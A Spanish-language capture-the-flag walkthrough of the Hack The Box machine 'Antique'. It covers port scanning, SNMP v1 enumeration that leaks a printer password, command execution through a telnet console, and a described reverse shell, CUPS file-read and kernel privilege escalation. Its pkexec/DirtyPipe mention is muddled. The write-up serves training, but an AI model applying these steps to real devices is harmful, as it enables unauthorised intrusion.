Vamos a resolver esta maquina para la preparación del EJPT, dificultad easy, linux.

Empezamos haciendo ping y confirmamos que tenemos conexión con la maquina víctima, en este caso por la aproximación del TLL, sabemos que es una maquina linux. 

TTL -> 64 = Linux 

TTL -> 128 = Windows

─# ping -c 1 10.129.100.87
PING 10.129.100.87 (10.129.100.87) 56(84) bytes of data.
64 bytes from 10.129.100.87: icmp_seq=1 ttl=63 time=1884 ms

--- 10.129.100.87 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1884.122/1884.122/1884.122/0.000 ms

Usaremos nmap para hacer una búsqueda de puertos abiertos: 
Primero realizaremos un escaneo rápido de puertos y posteriormente uno exhaustivo para cada puerto localizado.

└─# nmap -p- -sS --min-rate 5000 --open -vvv 10.129.100.87 -Pn -n -oG allports
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-27 19:58 +0100
Initiating SYN Stealth Scan at 19:58
Scanning 10.129.100.87 [65535 ports]
Discovered open port 23/tcp on 10.129.100.87
Completed SYN Stealth Scan at 19:58, 27.33s elapsed (65535 total ports)
Nmap scan report for 10.129.100.87
Host is up, received user-set (1.5s latency).
Scanned at 2026-01-27 19:58:22 CET for 28s
Not shown: 55517 closed tcp ports (reset), 10017 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
23/tcp open telnet syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 27.41 seconds
Raw packets sent: 121377 (5.341MB) | Rcvd: 72769 (2.911MB)

A priori observamos solo el puerto 23 (telnet) abierto, esto es bastante curioso, no es normal ver tan pocos puertos… Y telnet tampoco es un servicio muy complejo o donde podamos realizar un abanico de diferentes intentos de intrusión, vamos a hacer una conexión en blanco para telnet, a ver que encontramos.

└─# telnet 10.129.100.87
Trying 10.129.100.87...
Connected to 10.129.100.87.
Escape character is '^]'.

HP JetDirect

Password:
Invalid password
Connection closed by foreign host.

Si telnet no tiene un fácil acceso, algo me dice que es necesario seguir escaneando la red… Probemos a escanear los puertos UDP en vez de TCP.

─# nmap -p- -sU --min-rate 5000 --open -vvv 10.129.100.87

Discovered open port 161/udp on 10.129.100.87

Efectivamente… vemos un puerto UDP abierto, el 161 por defecto lo utiliza el protocolo SNMP, aunque vamos a escanear mas a fondo el puerto 23 y 161 para conocer al máximo posible sus servicios.

─# nmap -p23 -sCV 10.129.100.87 -oN ports 
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-25 18:35 +0100
Nmap scan report for 10.129.100.87 (10.129.100.87)
Host is up (0.057s latency).

PORT STATE SERVICE VERSION
23/tcp open telnet?
| fingerprint-strings:
| GenericLines, GetRequest, tn3270:
| JetDirect
| Password:
| NULL:
|_ JetDirect
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port23-TCP:V=7.98%I=7%D=1/25%Time=6976545C%P=x86_64-pc-linux-gnu%r(NULL
SF:,F,"\nHP\x20JetDirect\n\n")%r(GenericLines,19,"\nHP\x20JetDirect\n\nPas
SF:sword:\x20")%r(tn3270,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(GetReq
SF:uest,19,"\nHP\x20JetDirect\n\nPassword:\x20");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.06 seconds

Para el puerto de telnet, parece que esta configurado para una impresora HP JetDirect, lo que me da a entender que la via de entrada no será por aquí, ya que excepto probremos un ataque de fuerza bruta… No encontraremos una via de entrada.

Sin embargo vamos a enumerar el servicio SNMP y ahora explico en que consiste.

└─# nmap -sU -p 161 --script snmp-sysdescr 10.129.100.87 -sV
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-27 20:14 +0100
Nmap scan report for 10.129.100.87 (10.129.100.87)
Host is up (0.25s latency).

PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server (public)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.30 seconds

Nmap cuenta con muchisimos scripts de reconocimiento para casi todos los servicios de red escritos en el lenguaje LUA, contemplados en find /usr/share/nmap/scripts/ y si filtramos con  | grep snmp, encontraremos diferentes scripts utiles con nmap.

Dado que aún estamos enumerando, yo elegi usar el script snmp-sysdescr que como vemos nos arroja la versión y su community string.

Explicando el servicio SNMP

Es un protocolo utilizado para el monitoreo de la red, se integra dentro de un router, firewall, switch… y recoge datos como uso de CPU, uso de banda… Se combina utilizando herramientas visuales de monitoreo. Protocolo de capa de aplicación, funciona con UDP como protocolo de transporte.

Tiene 3 componentes principales.

1) Agente → Es el dispositivo donde se monta el servicio (Router, switch, firewall…)

2) NMS (Network Management System)→ Un monitor de monitoreo.

3) MIB (Manage Information Base) → Base de datos donde se encuentran los OID (Object ID) estos son los parametros a monitorizar, uso CPU, ancho de banda…

Existen 3 versiones de SNMP → v1 , v2c y v3

Contra más antigua sea la versión, más fácil de vulnerar es, ya que estás primeras no cuentan con cifrado ni otras medidas de seguridad.

En este caso, vemos que el protocolo SNMP estaba funcionando en su primera versión, asi que vamos a tratar de enumerarlo.

Usaremos la herramiento snmpwalk instalada por defecto en linux, perfecta para estas situaciones -> snmpwalk -c <community_string> -v1 <target_ip>

┌──(root㉿redteam)-[/home/rincon]
└─# snmpwalk -c public -v1 10.129.100.87
iso.3.6.1.2.1 = STRING: "HTB Printer"

Hemos tenido bastante suerte, ya que estamos frente a un protocolo se SNMP v1, que es bastante inseguro y además están utilizando una clave comunitaria por defecto (public) , solo para vuestra información, en caso de que no conocieramos esta community string, necesitariamos aplicar fuerza bruta para ello.

Si  analizamos la respuesta y nunca hemos visto como funciona el protocolo SNMP por dentro… Este escaneo nos muestra los OID (Object ID que el SNMP puede listar, en este caso vemos: iso.3.6.1.2.1 que es equivalente a HTB printer.

¿Por que es iso.3.6… simplemente es el estandar y la nomenclatura por defecto que utiliza SNMP y sus OID, es como si estuvieramos enfrentandonos a una raiz de objetos similar a /home/rincon/ejpt/antique , pues aqui esta marcado con esta nomenclatura.

SI seguimos esta estructura, podriamos ir listado todas los «directorios» comenzando desde la raiz hasta la nomenclatura completa.

└─# snmpwalk -c public -v1 10.129.100.87 iso
çiso.3.6.1.2.1 = STRING: "HTB Printer"
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135
iso.3.6.1.4.1.11.2.3.9.1.2.1.0 = No more variables left in this MIB View (It is past the end of the MIB tree)

Como podemos observar hemos encontrado un OID que nos devuelve una larga cadena de BITS en ASCII, vamos a pasarla a texto claro con python

┌──(rootredteam)-[/home/rincon]

└─# python

Python 3.13.11 (main, Dec 8 2025, 11:43:54) [GCC 15.2.0] on linux

Type "help", "copyright", "credits" or "license" for more information.

>>> nums = "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 \

111 114 115 119 122 123 126 130 131 134 135"

>>> nums.split()

['50', '40', '73', '73', '77', '30', '72', '64', '40', '31', '32', '33', '21', '21', '31', '32', '33', '1', '3', '9', '17', '18', '19', '22', '23', '25', '26', '27', '30', '31', '33', '34', '35', '37', '38', '39', '42', '43', '49', '50', '51', '54', '57', '58', '61', '65', '74', '75', '79', '82', '83', '86', '90', '91', '94', '95', '98', '103', '106', '111', '114', '115', '119', '122', '123', '126', '130', '131', '134', '135']

>>> [int(x, 16) for x in nums.split()]

[80, 64, 115, 115, 119, 48, 114, 100, 64, 49, 50, 51, 33, 33, 49, 50, 51, 1, 3, 9, 23, 24, 25, 34, 35, 37, 38, 39, 48, 49, 51, 52, 53, 55, 56, 57, 66, 67, 73, 80, 81, 84, 87, 88, 97, 101, 116, 117, 121, 130, 131, 134, 144, 145, 148, 149, 152, 259, 262, 273, 276, 277, 281, 290, 291, 294, 304, 305, 308, 309]

>>> ''.join([chr(int(x, 16)) for x in nums.split()])

'P@ssw0rd@123!!123\x01\x03\t\x17\x18\x19"#%&\'01345789BCIPQTWXaetuy\x82\x83\x86\x90\x91\x94\x95\x98ăĆđĔĕęĢģĦİıĴĵ'

>>>

Parece que este OID contenia una contraseña, asi que vamos a ir directamente a telnet.

└─# telnet 10.129.100.87
Trying 10.129.100.87...
Connected to 10.129.100.87.
Escape character is '^]'.

HP JetDirect

Password: P@ssw0rd@123!!123

Please type "?" for HELP
>

2-Explorando telnet

> ?

To Change/Configure Parameters Enter:
Parameter-name: value <Carriage Return>

Parameter-name Type of value
ip: IP-address in dotted notation
subnet-mask: address in dotted notation (enter 0 for default)
default-gw: address in dotted notation (enter 0 for default)
syslog-svr: address in dotted notation (enter 0 for default)
idle-timeout: seconds in integers
set-cmnty-name: alpha-numeric string (32 chars max)
host-name: alpha-numeric string (upper case only, 32 chars max)
dhcp-config: 0 to disable, 1 to enable
allow: <ip> [mask] (0 to clear, list to display, 10 max)

addrawport: <TCP port num> (<TCP port num> 3000-9000)
deleterawport: <TCP port num>
listrawport: (No parameter required)

exec: execute system commands (exec id)
exit: quit from telnet session
> exec id
uid=7(lp) gid=7(lp) groups=7(lp),19(lpadmin)

SI utilizamos el parametro ? , telnet nos lista todos los comandos que podemos ejecutar y aqui vemos como tenemos una mini consola donde ejecutar comandos.

Ya con esto podemos listar la flag del usuario y continuar la maquina.

Como es un coñazo estar indicando exec cada vez que queremos ejecutar un comando, directamente vamos a establecer una reverse shell y así conseguimos una bash interactiva.

SImplemente accedemos la famosa web Reverse shell pentestmonkey, utilizamos la reverse shell de bash y nos ponemos en escucha con netcat.

Ahora ya con esta consola interactiva, vamos a buscar vías de escalación de privilegios.

3-Escalación de privilegios

Enumerando un poco el sistema, comenzamos a ver pistas:

lp@antique:/run/cups/certs$ id
id
uid=7(lp) gid=7(lp) groups=7(lp),19(lpadmin)
lp@antique:/run/cups/certs$ find / -group lpadmin 2>/dev/null
find / -group lpadmin 2>/dev/null
/run/cups/certs
/run/cups/certs/0
lp@antique:/run/cups/certs$ ss -nltp
ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 128 0.0.0.0:23 0.0.0.0:* users:(("python3",pid=1166,fd=3))
LISTEN 0 4096 127.0.0.1:631 0.0.0.0:*
LISTEN 0 4096 [::1]:631 [::]:*
lp@antique:/run/cups/certs$

Por un lado, vemos que pertenece a un grupo de «administración» , si listamos los puertos internos abiertos, nos muestra el puerto 631 el cual es un servicio común llamado CUPS  «Common Unix Printing System es un sistema de impresión modular para sistemas operativos de tipo Unix que permite que un computador actúe como servidor de impresión.» vamos a ver si conseguimos explotar alguna vulnerabilidad relacionada.

Vemos que tenemos la versión 1.6 de CUPS, busquemos por internet si es vulnerable.

Encontramos un script que nos permite leer archivos como root, lo descargaremos y lo traremos a la maquina victima para poder usarlo.

Encontramos un pequeño menu donde le podemos indicar al script que ruta queremos visualizar.

MI primer intento fue visualizar el contenido de /etc/passwd y con fuerza bruta descubrir la contraseña de root, pero ya os advierto de que no va a ser tan facil. Otra cosa que podriams hacer es leer el contenido de /root/root.txt y conocer la flag de root, pero así sería demasiado fácil. Vamos a conseguir esa shell como root. 

4-Ganando shell como root

Si recordamos anteriormente con curl pudimos visualizar el contenido de una página web en el puerto 631, vamos a hacer un port forwarding para poder visulizar esta página web con nuestro navegador.
El concepto de port forwarding en pocas palabras es convertir nuestro puerto X en el puerto X de la máquina objetivo para que nuestro equipo interprete su puerto X como el puerto de la máquina victima.

Para ello utilizaremos una herramienta llamada chisel el cual nos preparara un port forwarding.

En nuestra maquina nos pondremos como servidor y en la victima como cliente.

Así ya podremos visualizar la página web, aunque después de hacer una larga seria de intentos no he conseguido ningún metodo para conseguir escalar a root desde la web.

Aunque ya por cabezoneria, aunque sea utilizar un poco de trampas jjjj Utilizaremos la escalada de privilegios con pkexec y así lo dejamos documentado por el blog, esta escalada de privilegios estará disponible en casi todas las máquinas retiradas de HTB ya que la vulnerabilidad se descubrio después de que salieran estás maquinas.

Lo primero es comprobar si la maquina victima tiene gcc instalado y pkexec.

Utilizaremos el repositorio: https://github.com/arinerron/CVE-2022-0847-DirtyPipe-Exploit y nos decargamos el explot.c

Scroll al inicio